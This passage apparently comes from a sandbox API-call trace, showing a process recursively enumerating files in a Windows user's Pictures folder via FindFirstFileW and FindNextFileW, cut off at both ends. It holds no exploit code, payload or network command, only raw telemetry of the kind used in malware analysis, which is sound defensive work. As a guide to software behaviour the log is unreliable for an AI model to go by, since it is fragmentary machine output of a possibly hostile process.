lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b1a6533, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b1a6533, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1a6533, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0212.386] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30f4de30, ftCreationTime.dwHighDateTime=0x1d9a942, ftLastAccessTime.dwLowDateTime=0x93145a60, ftLastAccessTime.dwHighDateTime=0x1d9ad6f, ftLastWriteTime.dwLowDateTime=0x93145a60, ftLastWriteTime.dwHighDateTime=0x1d9ad6f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="syRe5UduFR1vLgg", cAlternateFileName="SYRE5U~1")) returned 1 [0212.386] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf68f6d50, ftCreationTime.dwHighDateTime=0x1d9a5c7, ftLastAccessTime.dwLowDateTime=0x33b9f910, ftLastAccessTime.dwHighDateTime=0x1d9afce, ftLastWriteTime.dwLowDateTime=0x33b9f910, ftLastWriteTime.dwHighDateTime=0x1d9afce, nFileSizeHigh=0x0, nFileSizeLow=0x7f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="xcyZ.bmp", cAlternateFileName="")) returned 1 [0212.386] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.386] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0212.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0212.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0212.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0212.387] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures", lpFilePart=0x0) returned 0x1e [0212.387] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf8554708, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8554708, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0212.387] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf8554708, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf8554708, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.387] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2846a440, ftCreationTime.dwHighDateTime=0x1d9a9a0, ftLastAccessTime.dwLowDateTime=0xb8121a20, ftLastAccessTime.dwHighDateTime=0x1d9b0ba, ftLastWriteTime.dwLowDateTime=0xb8121a20, ftLastWriteTime.dwHighDateTime=0x1d9b0ba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9P_6rEVfGnXnSm82lDn", cAlternateFileName="9P_6RE~1")) returned 1 [0212.388] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b0e752d, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0212.388] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9493720, ftCreationTime.dwHighDateTime=0x1d9af80, ftLastAccessTime.dwLowDateTime=0xa8aa09d0, ftLastAccessTime.dwHighDateTime=0x1d9b092, ftLastWriteTime.dwLowDateTime=0xa8aa09d0, ftLastWriteTime.dwHighDateTime=0x1d9b092, nFileSizeHigh=0x0, nFileSizeLow=0x16758, dwReserved0=0x0, dwReserved1=0x0, cFileName="cFrK-oXuE.bmp", cAlternateFileName="CFRK-O~1.BMP")) returned 1 [0212.388] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x435fd682, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x435fd682, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x436238c4, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.388] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6615ae40, ftCreationTime.dwHighDateTime=0x1d9ab5f, ftLastAccessTime.dwLowDateTime=0x66312200, ftLastAccessTime.dwHighDateTime=0x1d9b1a0, ftLastWriteTime.dwLowDateTime=0x66312200, ftLastWriteTime.dwHighDateTime=0x1d9b1a0, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie76BgazzoLN.jpg", cAlternateFileName="IE76BG~1.JPG")) returned 1 [0212.389] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e98920, ftCreationTime.dwHighDateTime=0x1d9a8a3, ftLastAccessTime.dwLowDateTime=0xc411bff0, ftLastAccessTime.dwHighDateTime=0x1d9af12, ftLastWriteTime.dwLowDateTime=0xc411bff0, ftLastWriteTime.dwHighDateTime=0x1d9af12, nFileSizeHigh=0x0, nFileSizeLow=0x13479, dwReserved0=0x0, dwReserved1=0x0, cFileName="QlFpkp5RF.bmp", cAlternateFileName="QLFPKP~1.BMP")) returned 1 [0212.389] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b44c630, ftCreationTime.dwHighDateTime=0x1d9ab46, ftLastAccessTime.dwLowDateTime=0xbd7ec4c0, ftLastAccessTime.dwHighDateTime=0x1d9ac16, ftLastWriteTime.dwLowDateTime=0xbd7ec4c0, ftLastWriteTime.dwHighDateTime=0x1d9ac16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="qsI Hf", cAlternateFileName="QSIHF~1")) returned 1 [0212.389] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b1a6533, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b1a6533, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1a6533, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Pictures", cAlternateFileName="SAVEDP~1")) returned 1 [0212.389] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x30f4de30, ftCreationTime.dwHighDateTime=0x1d9a942, ftLastAccessTime.dwLowDateTime=0x93145a60, ftLastAccessTime.dwHighDateTime=0x1d9ad6f, ftLastWriteTime.dwLowDateTime=0x93145a60, ftLastWriteTime.dwHighDateTime=0x1d9ad6f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="syRe5UduFR1vLgg", cAlternateFileName="SYRE5U~1")) returned 1 [0212.389] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf68f6d50, ftCreationTime.dwHighDateTime=0x1d9a5c7, ftLastAccessTime.dwLowDateTime=0x33b9f910, ftLastAccessTime.dwHighDateTime=0x1d9afce, ftLastWriteTime.dwLowDateTime=0x33b9f910, ftLastWriteTime.dwHighDateTime=0x1d9afce, nFileSizeHigh=0x0, nFileSizeLow=0x7f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="xcyZ.bmp", cAlternateFileName="")) returned 1 [0212.390] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf68f6d50, ftCreationTime.dwHighDateTime=0x1d9a5c7, ftLastAccessTime.dwLowDateTime=0x33b9f910, ftLastAccessTime.dwHighDateTime=0x1d9afce, ftLastWriteTime.dwLowDateTime=0x33b9f910, ftLastWriteTime.dwHighDateTime=0x1d9afce, nFileSizeHigh=0x0, nFileSizeLow=0x7f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="xcyZ.bmp", cAlternateFileName="")) returned 0 [0212.390] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0212.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de960) returned 1 [0212.390] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de920) returned 1 [0212.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0212.391] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\9P_6rEVfGnXnSm82lDn", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\9P_6rEVfGnXnSm82lDn", lpFilePart=0x0) returned 0x32 [0212.391] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\9P_6rEVfGnXnSm82lDn\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\9p_6revfgnxnsm82ldn\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2846a440, ftCreationTime.dwHighDateTime=0x1d9a9a0, ftLastAccessTime.dwLowDateTime=0xb8121a20, ftLastAccessTime.dwHighDateTime=0x1d9b0ba, ftLastWriteTime.dwLowDateTime=0xb8121a20, ftLastWriteTime.dwHighDateTime=0x1d9b0ba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0212.391] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2846a440, ftCreationTime.dwHighDateTime=0x1d9a9a0, ftLastAccessTime.dwLowDateTime=0xb8121a20, ftLastAccessTime.dwHighDateTime=0x1d9b0ba, ftLastWriteTime.dwLowDateTime=0xb8121a20, ftLastWriteTime.dwHighDateTime=0x1d9b0ba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.392] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39741f60, ftCreationTime.dwHighDateTime=0x1d9b399, ftLastAccessTime.dwLowDateTime=0x4d29c500, ftLastAccessTime.dwHighDateTime=0x1d9b41b, ftLastWriteTime.dwLowDateTime=0x4d29c500, ftLastWriteTime.dwHighDateTime=0x1d9b41b, nFileSizeHigh=0x0, nFileSizeLow=0x14222, dwReserved0=0x0, dwReserved1=0x0, cFileName="3J_NHaQIhy.png", cAlternateFileName="3J_NHA~1.PNG")) returned 1 [0212.392] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1579a090, ftCreationTime.dwHighDateTime=0x1d9a984, ftLastAccessTime.dwLowDateTime=0xf6f316a0, ftLastAccessTime.dwHighDateTime=0x1d9b2f8, ftLastWriteTime.dwLowDateTime=0xf6f316a0, ftLastWriteTime.dwHighDateTime=0x1d9b2f8, nFileSizeHigh=0x0, nFileSizeLow=0x136b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="99tgUy5msN.gif", cAlternateFileName="99TGUY~1.GIF")) returned 1 [0212.392] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8a2e00, ftCreationTime.dwHighDateTime=0x1d9b213, ftLastAccessTime.dwLowDateTime=0x2cf6c30, ftLastAccessTime.dwHighDateTime=0x1d9b231, ftLastWriteTime.dwLowDateTime=0x2cf6c30, ftLastWriteTime.dwHighDateTime=0x1d9b231, nFileSizeHigh=0x0, nFileSizeLow=0xe998, dwReserved0=0x0, dwReserved1=0x0, cFileName="KZCmM-N6.bmp", cAlternateFileName="")) returned 1 [0212.392] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.392] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0212.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0212.393] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0212.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0212.393] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\9P_6rEVfGnXnSm82lDn", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\9P_6rEVfGnXnSm82lDn", lpFilePart=0x0) returned 0x32 [0212.393] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\9P_6rEVfGnXnSm82lDn\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\9p_6revfgnxnsm82ldn\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2846a440, ftCreationTime.dwHighDateTime=0x1d9a9a0, ftLastAccessTime.dwLowDateTime=0xb8121a20, ftLastAccessTime.dwHighDateTime=0x1d9b0ba, ftLastWriteTime.dwLowDateTime=0xb8121a20, ftLastWriteTime.dwHighDateTime=0x1d9b0ba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0212.393] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2846a440, ftCreationTime.dwHighDateTime=0x1d9a9a0, ftLastAccessTime.dwLowDateTime=0xb8121a20, ftLastAccessTime.dwHighDateTime=0x1d9b0ba, ftLastWriteTime.dwLowDateTime=0xb8121a20, ftLastWriteTime.dwHighDateTime=0x1d9b0ba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.393] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39741f60, ftCreationTime.dwHighDateTime=0x1d9b399, ftLastAccessTime.dwLowDateTime=0x4d29c500, ftLastAccessTime.dwHighDateTime=0x1d9b41b, ftLastWriteTime.dwLowDateTime=0x4d29c500, ftLastWriteTime.dwHighDateTime=0x1d9b41b, nFileSizeHigh=0x0, nFileSizeLow=0x14222, dwReserved0=0x0, dwReserved1=0x0, cFileName="3J_NHaQIhy.png", cAlternateFileName="3J_NHA~1.PNG")) returned 1 [0212.394] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1579a090, ftCreationTime.dwHighDateTime=0x1d9a984, ftLastAccessTime.dwLowDateTime=0xf6f316a0, ftLastAccessTime.dwHighDateTime=0x1d9b2f8, ftLastWriteTime.dwLowDateTime=0xf6f316a0, ftLastWriteTime.dwHighDateTime=0x1d9b2f8, nFileSizeHigh=0x0, nFileSizeLow=0x136b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="99tgUy5msN.gif", cAlternateFileName="99TGUY~1.GIF")) returned 1 [0212.394] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8a2e00, ftCreationTime.dwHighDateTime=0x1d9b213, ftLastAccessTime.dwLowDateTime=0x2cf6c30, ftLastAccessTime.dwHighDateTime=0x1d9b231, ftLastWriteTime.dwLowDateTime=0x2cf6c30, ftLastWriteTime.dwHighDateTime=0x1d9b231, nFileSizeHigh=0x0, nFileSizeLow=0xe998, dwReserved0=0x0, dwReserved1=0x0, cFileName="KZCmM-N6.bmp", cAlternateFileName="")) returned 1 [0212.394] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8a2e00, ftCreationTime.dwHighDateTime=0x1d9b213, ftLastAccessTime.dwLowDateTime=0x2cf6c30, ftLastAccessTime.dwHighDateTime=0x1d9b231, ftLastWriteTime.dwLowDateTime=0x2cf6c30, ftLastWriteTime.dwHighDateTime=0x1d9b231, nFileSizeHigh=0x0, nFileSizeLow=0xe998, dwReserved0=0x0, dwReserved1=0x0, cFileName="KZCmM-N6.bmp", cAlternateFileName="")) returned 0 [0212.394] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0212.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0212.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0212.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0212.395] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Camera Roll", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Camera Roll", lpFilePart=0x0) returned 0x2a [0212.395] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Camera Roll\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\camera roll\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b0e752d, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0212.395] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b0e752d, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.396] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x2b10dbc5, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.396] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.396] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0212.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0212.396] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0212.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0212.396] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Camera Roll", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Camera Roll", lpFilePart=0x0) returned 0x2a [0212.396] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Camera Roll\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\camera roll\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b0e752d, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0212.397] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b0e752d, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.397] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x2b10dbc5, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.397] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x2b10dbc5, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b10dbc5, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b10dbc5, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0212.397] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0212.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0212.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0212.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0212.398] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf", lpFilePart=0x0) returned 0x26 [0212.398] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\qsI Hf\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\qsi hf\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b44c630, ftCreationTime.dwHighDateTime=0x1d9ab46, ftLastAccessTime.dwLowDateTime=0xbd7ec4c0, ftLastAccessTime.dwHighDateTime=0x1d9ac16, ftLastWriteTime.dwLowDateTime=0xbd7ec4c0, ftLastWriteTime.dwHighDateTime=0x1d9ac16, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0212.398] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b44c630, ftCreationTime.dwHighDateTime=0x1d9ab46, ftLastAccessTime.dwLowDateTime=0xbd7ec4c0, ftLastAccessTime.dwHighDateTime=0x1d9ac16, 